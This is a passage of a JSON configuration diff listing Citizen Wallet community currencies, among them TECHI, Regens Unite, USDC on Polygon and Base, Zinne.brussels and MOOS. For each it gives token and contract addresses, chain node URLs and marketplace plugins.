"0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [ - { - "name": "Informations Générales", - "icon": "https://assets.citizenwallet.xyz/wallet-config/_images/myrt.png", - "url": "https://citizenwallet.xyz/community-currency-documentation/sel-de-salm", - "launch_mode": "webview" - }, - { - "name": "Échanges", - "icon": "https://assets.citizenwallet.xyz/wallet-config/_images/myrt.png", - "url": "https://marketplace.citizenwallet.xyz/seldesalm", - "launch_mode": "webview" - } - ], - "config_location": "https://seldesalm.citizenwallet.xyz/config/community.json", - "version": 4 - }, - { - "community": { - "name": "TECHI", - "description": "A community for TECHI users", - "url": "https://my.techi.be", - "alias": "my.techi.be", - "logo": "https://my.techi.be/assets/token.svg", - "hidden": false, - "theme": { - "primary": "#617FF8" - }, - "profile": { - "address": "0x80C141861607b8FEfD53C9E71a9c7D2D3e2e76dc", - "chain_id": 100 - }, - "primary_token": { - "address": "0x01D0E7117510b371Ac38f52Cc6689ff8875280FA", - "chain_id": 100 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 100 - }, - "primary_card_manager": { - "address": "0x1EaF6B6A6967608aF6c77224f087b042095891EB", - "chain_id": 100 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 100 - } - }, - "tokens": { - "100:0x01D0E7117510b371Ac38f52Cc6689ff8875280FA": { - "standard": "erc20", - "name": "TECHI", - "address": "0x01D0E7117510b371Ac38f52Cc6689ff8875280FA", - "symbol": "TECHI", - "decimals": 6, - "chain_id": 100 - } - }, - "scan": { - "url": "https://gnosisscan.io", - "name": "Gnosis Explorer" - }, - "accounts": { - "100:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 100, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0x68c5a20f233264DB124a3c95a200bbD20b3b9762", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "100:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 100, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "100": { - "id": 100, - "node": { - "url": "https://engine.my.techi.be", - "ws_url": "wss://engine.my.techi.be" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://my.techi.be/assets/community.json", - "version": 4 - }, - { - "community": { - "name": "Regens Unite", - "description": "A community currency for the Regens Unite community.", - "url": "https://www.regensunite.earth/", - "alias": "wallet.regensunite.earth", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/rgn.svg", - "custom_domain": "wallet.regensunite.earth", - "hidden": true, - "profile": { - "address": "0xAE76B1C6818c1DD81E20ccefD3e72B773068ABc9", - "chain_id": 137 - }, - "primary_token": { - "address": "0x9b1a0D2951b11Ac26A6cBbd5aEf2c4cb014b3B6e", - "chain_id": 137 - }, - "primary_account_factory": { - "address": "0x9406Cc6185a346906296840746125a0E44976454", - "chain_id": 137 - } - }, - "tokens": { - "137:0x9b1a0D2951b11Ac26A6cBbd5aEf2c4cb014b3B6e": { - "standard": "erc20", - "name": "Regens Unite Token", - "address": "0x9b1a0D2951b11Ac26A6cBbd5aEf2c4cb014b3B6e", - "symbol": "RGN", - "decimals": 6, - "chain_id": 137 - } - }, - "scan": { - "url": "https://polygonscan.com", - "name": "Polygon Explorer" - }, - "accounts": { - "137:0x9406Cc6185a346906296840746125a0E44976454": { - "chain_id": 137, - "entrypoint_address": "0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789", - "paymaster_address": "0x250711045d58b6310f0635C7D110BFe663cE1da5", - "account_factory_address": "0x9406Cc6185a346906296840746125a0E44976454", - "paymaster_type": "payg", - "gas_extra_percentage": 50 - } - }, - "sessions": { - "137:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 137, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "137": { - "id": 137, - "node": { - "url": "https://137.engine.citizenwallet.xyz", - "ws_url": "wss://137.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/wallet.regensunite.earth.json", - "version": 4 - }, - { - "community": { - "name": "Gratitude Token", - "description": "Express your gratitude towards someone by sending them a token.", - "url": "https://citizenwallet.xyz/gratitude", - "alias": "gt.celo", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/gt.svg", - "custom_domain": null, - "hidden": true, - "theme": { - "primary": "#a256ff" - }, - "profile": { - "address": "0xEEc0F3257369c6bCD2Fd8755CbEf8A95b12Bc4c9", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x5815E61eF72c9E6107b5c5A05FD121F334f7a7f1", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0xAE6E18a9Cd26de5C8f89B886283Fc3f0bE5f04DD", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x5815E61eF72c9E6107b5c5A05FD121F334f7a7f1": { - "standard": "erc20", - "name": "Gratitude Token", - "address": "0x5815E61eF72c9E6107b5c5A05FD121F334f7a7f1", - "symbol": "GT", - "decimals": 0, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "Celo Explorer" - }, - "accounts": { - "42220:0xAE6E18a9Cd26de5C8f89B886283Fc3f0bE5f04DD": { - "chain_id": 42220, - "entrypoint_address": "0x985ec7d08D9d15Ea79876E35FAdEFD58A627187E", - "paymaster_address": "0x8dd43eE72f6A816b8eB0411B712D96cDd95246d8", - "account_factory_address": "0xAE6E18a9Cd26de5C8f89B886283Fc3f0bE5f04DD", - "paymaster_type": "cw" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/gt.celo.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "Celo Euro", - "description": "Celo Euro is a stablecoin for the Celo Community.", - "url": "https://celo.org/", - "alias": "ceur.celo", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/ceur.svg", - "hidden": true, - "theme": { - "primary": "#a256ff" - }, - "profile": { - "address": "0x0334C579E61aF6922D5deFEF02A361FBb2D6f406", - "chain_id": 42220 - }, - "primary_token": { - "address": "0xD8763CBa276a3738E6DE85b4b3bF5FDed6D6cA73", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0xdA529eBEd3D459dac9d9D3D45b8Cae2D5796c098", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0xD8763CBa276a3738E6DE85b4b3bF5FDed6D6cA73": { - "standard": "erc20", - "name": "Celo Euro", - "address": "0xD8763CBa276a3738E6DE85b4b3bF5FDed6D6cA73", - "symbol": "cEUR", - "decimals": 18, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "Celo Explorer" - }, - "accounts": { - "42220:0xdA529eBEd3D459dac9d9D3D45b8Cae2D5796c098": { - "chain_id": 42220, - "entrypoint_address": "0xc3142BCBA2285d0a48A38e7Ea9Cbf28a12B235bB", - "paymaster_address": "0xedbEA8c0F25B34510149EaD4f72867B0d3D2264F", - "account_factory_address": "0xdA529eBEd3D459dac9d9D3D45b8Cae2D5796c098", - "paymaster_type": "cw" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/ceur.celo.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "EUR e-money", - "description": "Token by Monerium EMI, a regulated entity, licensed in the EEA.", - "url": "https://monerium.com/tokens/", - "alias": "eure.polygon", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/eure.svg", - "hidden": true, - "profile": { - "address": "0xF5F7317EDb8E88CaE09071B0C4F0fd6EA20B21f9", - "chain_id": 137 - }, - "primary_token": { - "address": "0x18ec0A6E18E5bc3784fDd3a3634b31245ab704F6", - "chain_id": 137 - }, - "primary_account_factory": { - "address": "0x5bA08d9fC7b90f79B2b856bdB09FC9EB32e83616", - "chain_id": 137 - } - }, - "tokens": { - "137:0x18ec0A6E18E5bc3784fDd3a3634b31245ab704F6": { - "standard": "erc20", - "name": "EUR emoney", - "address": "0x18ec0A6E18E5bc3784fDd3a3634b31245ab704F6", - "symbol": "EURe", - "decimals": 18, - "chain_id": 137 - } - }, - "scan": { - "url": "https://polygonscan.com", - "name": "Polygon Explorer" - }, - "accounts": { - "137:0x5bA08d9fC7b90f79B2b856bdB09FC9EB32e83616": { - "chain_id": 137, - "entrypoint_address": "0x2027Bde7C276D5F128587E3107c68A488ee31c72", - "paymaster_address": "0xB2cb6b75C2357Ca94dBdF58897E468E45fAC83Ec", - "account_factory_address": "0x5bA08d9fC7b90f79B2b856bdB09FC9EB32e83616", - "paymaster_type": "cw", - "gas_extra_percentage": 50 - } - }, - "sessions": { - "137:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 137, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "137": { - "id": 137, - "node": { - "url": "https://137.engine.citizenwallet.xyz", - "ws_url": "wss://137.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/eure.polygon.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "USDC on Polygon", - "description": "The community of people using USDC on Polygon.", - "url": "https://en.wikipedia.org/wiki/USD_Coin", - "alias": "app", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/usdc.svg", - "hidden": true, - "theme": { - "primary": "#0052ff" - }, - "profile": { - "address": "0xA63DFccB8a39a3DFE4479b33190b12019Ee594E7", - "chain_id": 137 - }, - "primary_token": { - "address": "0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174", - "chain_id": 137 - }, - "primary_account_factory": { - "address": "0x270758454C012A1f51428b68aE473D728CCdFe88", - "chain_id": 137 - } - }, - "tokens": { - "137:0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174": { - "standard": "erc20", - "name": "USD Coin", - "address": "0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174", - "symbol": "USDC", - "decimals": 6, - "chain_id": 137 - } - }, - "scan": { - "url": "https://polygonscan.com", - "name": "Polygon Explorer" - }, - "accounts": { - "137:0x270758454C012A1f51428b68aE473D728CCdFe88": { - "chain_id": 137, - "entrypoint_address": "0x466AA6ed2B7Bb829841F5aAEA9e82B840eC0feF9", - "paymaster_address": "0xB5D1C0167E6325466E2918e9fda8cc41384C0291", - "account_factory_address": "0x270758454C012A1f51428b68aE473D728CCdFe88", - "paymaster_type": "cw", - "gas_extra_percentage": 50 - } - }, - "sessions": { - "137:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 137, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "137": { - "id": 137, - "node": { - "url": "https://137.engine.citizenwallet.xyz", - "ws_url": "wss://137.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/app.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "USDC on Base", - "description": "The community of people using USDC on Base.", - "url": "https://en.wikipedia.org/wiki/USD_Coin", - "alias": "usdc.base", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/usdc.svg", - "hidden": true, - "theme": { - "primary": "#0052ff" - }, - "profile": { - "address": "0x51Ef5Add405CCF63c206A80AF8c2B3cEE0282830", - "chain_id": 8453 - }, - "primary_token": { - "address": "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913", - "chain_id": 8453 - }, - "primary_account_factory": { - "address": "0x05e2Fb34b4548990F96B3ba422eA3EF49D5dAa99", - "chain_id": 8453 - } - }, - "tokens": { - "8453:0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913": { - "standard": "erc20", - "name": "USD Coin", - "address": "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913", - "symbol": "USDC", - "decimals": 6, - "chain_id": 8453 - } - }, - "scan": { - "url": "https://basescan.org", - "name": "Base Explorer" - }, - "accounts": { - "8453:0x05e2Fb34b4548990F96B3ba422eA3EF49D5dAa99": { - "chain_id": 8453, - "entrypoint_address": "0xAE76B1C6818c1DD81E20ccefD3e72B773068ABc9", - "paymaster_address": "0xA63DFccB8a39a3DFE4479b33190b12019Ee594E7", - "account_factory_address": "0x05e2Fb34b4548990F96B3ba422eA3EF49D5dAa99", - "paymaster_type": "cw", - "gas_extra_percentage": 50 - } - }, - "sessions": { - "8453:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 8453, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "8453": { - "id": 8453, - "node": { - "url": "https://8453.engine.citizenwallet.xyz", - "ws_url": "wss://8453.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/usdc.base.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "OAK Community", - "description": "A community currency for the city of Oakland.", - "url": "https://www.oak.community/", - "alias": "wallet.oak.community", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/oak.svg", - "custom_domain": "wallet.oak.community", - "hidden": true, - "profile": { - "address": "0xFE213c74e25505B232CE4C7f89647408bE6f71d2", - "chain_id": 8453 - }, - "primary_token": { - "address": "0x845598Da418890a674cbaBA26b70807aF0c61dFE", - "chain_id": 8453 - }, - "primary_account_factory": { - "address": "0x9406Cc6185a346906296840746125a0E44976454", - "chain_id": 8453 - } - }, - "tokens": { - "8453:0x845598Da418890a674cbaBA26b70807aF0c61dFE": { - "standard": "erc20", - "name": "OAK Community Currency", - "address": "0x845598Da418890a674cbaBA26b70807aF0c61dFE", - "symbol": "OAK", - "decimals": 6, - "chain_id": 8453 - } - }, - "scan": { - "url": "https://basescan.org", - "name": "Base Explorer" - }, - "accounts": { - "8453:0x9406Cc6185a346906296840746125a0E44976454": { - "chain_id": 8453, - "entrypoint_address": "0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789", - "paymaster_address": "0x123", - "account_factory_address": "0x9406Cc6185a346906296840746125a0E44976454", - "paymaster_type": "payg" - } - }, - "sessions": { - "8453:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 8453, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "8453": { - "id": 8453, - "node": { - "url": "https://8453.engine.citizenwallet.xyz", - "ws_url": "wss://8453.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/wallet.oak.community.json", - "version": 4 - }, - { - "community": { - "name": "Stable Coin", - "description": "SBC is a digital dollar stablecoin issued by Brale", - "url": "https://brale.xyz/", - "alias": "sbc.polygon", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/sbc.svg", - "hidden": true, - "profile": { - "address": "0xcA0a75EF803a364C83c5EAE7Eb889aE7419c9dF2", - "chain_id": 137 - }, - "primary_token": { - "address": "0xfdcC3dd6671eaB0709A4C0f3F53De9a333d80798", - "chain_id": 137 - }, - "primary_account_factory": { - "address": "0x3Be13D9325C8C9174C3819d3d868D5D3aB8Fc8a5", - "chain_id": 137 - } - }, - "tokens": { - "137:0xfdcC3dd6671eaB0709A4C0f3F53De9a333d80798": { - "standard": "erc20", - "name": "Stable Coin", - "address": "0xfdcC3dd6671eaB0709A4C0f3F53De9a333d80798", - "symbol": "SBC", - "decimals": 18, - "chain_id": 137 - } - }, - "scan": { - "url": "https://polygonscan.com", - "name": "Polygon Explorer" - }, - "accounts": { - "137:0x3Be13D9325C8C9174C3819d3d868D5D3aB8Fc8a5": { - "chain_id": 137, - "entrypoint_address": "0xe84423Ba1A3f3535B09237245e22dBda5E27eB88", - "paymaster_address": "0x123", - "account_factory_address": "0x3Be13D9325C8C9174C3819d3d868D5D3aB8Fc8a5", - "paymaster_type": "cw" - } - }, - "sessions": { - "137:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 137, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "137": { - "id": 137, - "node": { - "url": "https://137.engine.citizenwallet.xyz", - "ws_url": "wss://137.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/sbc.polygon.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "Zinne.brussels", - "description": "A community currency for the city of Brussels", - "url": "https://zinne.brussels", - "alias": "zinne", - "logo": "https://citizenwallet.xyz/zinne/zinne-coin.svg", - "hidden": true, - "profile": { - "address": "0x23DB3D3Da510e60aF40902A04850E1F3a744905c", - "chain_id": 137 - }, - "primary_token": { - "address": "0x5491a3d35F148a44F0af4D718B9636A6e55eBc2D", - "chain_id": 137 - }, - "primary_account_factory": { - "address": "0x11af2639817692D2b805BcE0e1e405E530B20006", - "chain_id": 137 - } - }, - "tokens": { - "137:0x5491a3d35F148a44F0af4D718B9636A6e55eBc2D": { - "standard": "erc20", - "name": "Zinne.brussels Token", - "address": "0x5491a3d35F148a44F0af4D718B9636A6e55eBc2D", - "symbol": "ZINNE", - "decimals": 6, - "chain_id": 137 - } - }, - "scan": { - "url": "https://polygonscan.com", - "name": "Polygon Explorer" - }, - "accounts": { - "137:0x11af2639817692D2b805BcE0e1e405E530B20006": { - "chain_id": 137, - "entrypoint_address": "0xF5507B3042f1C63625D856a2ABFF046243A5D74e", - "paymaster_address": "0xBb796D122Ec1aBDeD081D50B06a072f981c7E62b", - "account_factory_address": "0x11af2639817692D2b805BcE0e1e405E530B20006", - "paymaster_type": "cw" - } - }, - "sessions": { - "137:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 137, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "137": { - "id": 137, - "node": { - "url": "https://137.engine.citizenwallet.xyz", - "ws_url": "wss://137.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [], - "config_location": "https://config.internal.citizenwallet.xyz/v4/zinne.brussels.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "Regens Unite Time Bank", - "description": "Make time to regen", - "url": "https://regensunite.earth", - "alias": "timebank.regensunite.earth", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/rgn.svg", - "hidden": true, - "profile": { - "address": "0x605A827DF8C405D16Ec70AAb8d9a47D21db45c09", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x186DaBD027e228C988777907465807FDab270894", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0x39b77d77f7677997871b304094a05295eb71e240", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x186DaBD027e228C988777907465807FDab270894": { - "standard": "erc20", - "name": "Regen Hour", - "address": "0x186DaBD027e228C988777907465807FDab270894", - "symbol": "rHour", - "decimals": 6, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "CELO Explorer" - }, - "accounts": { - "42220:0x39b77d77f7677997871b304094a05295eb71e240": { - "chain_id": 42220, - "entrypoint_address": "0x41176F0C9b8f795Cb99e2DD5Db16017978eeFa4d", - "paymaster_address": "0xe45858bf63176595c2920822581917c7C705a12f", - "account_factory_address": "0x39b77d77f7677997871b304094a05295eb71e240", - "paymaster_type": "cw" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [ - { - "name": "Market", - "icon": "https://timebank.regensunite.earth/uploads/logo.svg", - "url": "https://marketplace.citizenwallet.xyz/timebank.regensunite.earth", - "launch_mode": "webview" - } - ], - "config_location": "https://timebank.regensunite.earth/indexer", - "version": 4 - }, - { - "community": { - "name": "MOOS Token", - "description": "A community currency for MOOS.", - "url": "https://www.moos.garden/", - "alias": "moos", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/moos.svg", - "hidden": true, - "profile": { - "address": "0x2e4542Be47408d05F41703386eFaf4338Ee1D341", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x230542eda83346929e4E54f4a98e1ca1A4BFc0c3", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0x671f0662de72268d0f3966Fb62dFc6ee6389e244", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x230542eda83346929e4E54f4a98e1ca1A4BFc0c3": { - "standard": "erc20", - "name": "MOOS Token", - "address": "0x230542eda83346929e4E54f4a98e1ca1A4BFc0c3", - "symbol": "MOOS", - "decimals": 6, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "Celo Explorer" - }, - "accounts": { - "42220:0x671f0662de72268d0f3966Fb62dFc6ee6389e244": { - "chain_id": 42220, - "entrypoint_address": "0x45a8e6AaDCc48D1Ce19eCbE07Ccd3a536EF712ed", - "paymaster_address": "0x55E519bfD63c7152D9F7B88Acd712A37F0BEC482", - "account_factory_address": "0x671f0662de72268d0f3966Fb62dFc6ee6389e244", - "paymaster_type": "cw" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [ - { - "name": "Market", - "icon": "https://moos.citizenwallet.xyz/wallet-config/_images/moos.svg", - "url": "https://marketplace.citizenwallet.xyz/moos", - "launch_mode": "webview" - } - ], - "config_location": "https://config.internal.citizenwallet.xyz/v4/moos.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "Bonne Heure", - "description": "Système d'Échange Local de Villers-la-Ville", - "url": "https://selcoupdepouce.be", - "alias": "selcoupdepouce", - "logo": "https://topup.citizenwallet.xyz/communities/selcoupdepouce/sel-coin.svg", - "hidden": true, - "profile": { - "address": "0xfB8F1e7ED42599638B3c509679E2F43937002C56", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x5Cdbc862BF4E20D98456D4c41D4A5239aDd496d3", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0x4Cc883b7E8E0BCB2e293703EF06426F9b4A5A284", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x5Cdbc862BF4E20D98456D4c41D4A5239aDd496d3": { - "standard": "erc20", - "name": "Bonne Heure", - "address": "0x5Cdbc862BF4E20D98456D4c41D4A5239aDd496d3", - "symbol": "BHR", - "decimals": 6, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "Celo Explorer" - }, - "accounts": { - "42220:0x4Cc883b7E8E0BCB2e293703EF06426F9b4A5A284": { - "chain_id": 42220, - "entrypoint_address": "0xA90904F33df36899d810d040b8d5b3b77265Bb05", - "paymaster_address": "0x635032605337aB36A46D767905108e67EE687a72", - "account_factory_address": "0x4Cc883b7E8E0BCB2e293703EF06426F9b4A5A284", - "paymaster_type": "cw" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "plugins": [ - { - "name": "Market", - "icon": "https://marketplace.citizenwallet.xyz/marketplace.svg", - "url": "https://marketplace.citizenwallet.xyz/selcoupdepouce", - "launch_mode": "browser" - } - ], - "config_location": "https://config.internal.citizenwallet.xyz/v4/selcoupdepouce.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "CI token", - "description": "Monnaie locale du Cercle Informatique de l’ULB", - "url": "https://citizenwallet.xyz/cit", - "alias": "cit.celo", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/cit.celo.svg", - "hidden": true, - "profile": { - "address": "0x4cB296BEc9FAd0B5e1E4FF1A2F307B425724AC82", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x12e26FAED228c425BceA8a8dd7658a9CeD944dd9", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0x0a9f4B7e7Ec393fF25dc9267289Be259Ec3FB970", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x12e26FAED228c425BceA8a8dd7658a9CeD944dd9": { - "standard": "erc20", - "name": "CI token", - "address": "0x12e26FAED228c425BceA8a8dd7658a9CeD944dd9", - "symbol": "CIT", - "decimals": 6, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "Celo Explorer" - }, - "accounts": { - "42220:0x0a9f4B7e7Ec393fF25dc9267289Be259Ec3FB970": { - "chain_id": 42220, - "entrypoint_address": "0xB8d9412f3A91A00ca762B5c35cd0863E9b716D68", - "paymaster_address": "0x452F7ff3e55fe29f481841985dE7f4939FD645fa", - "account_factory_address": "0x0a9f4B7e7Ec393fF25dc9267289Be259Ec3FB970", - "paymaster_type": "cw" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": 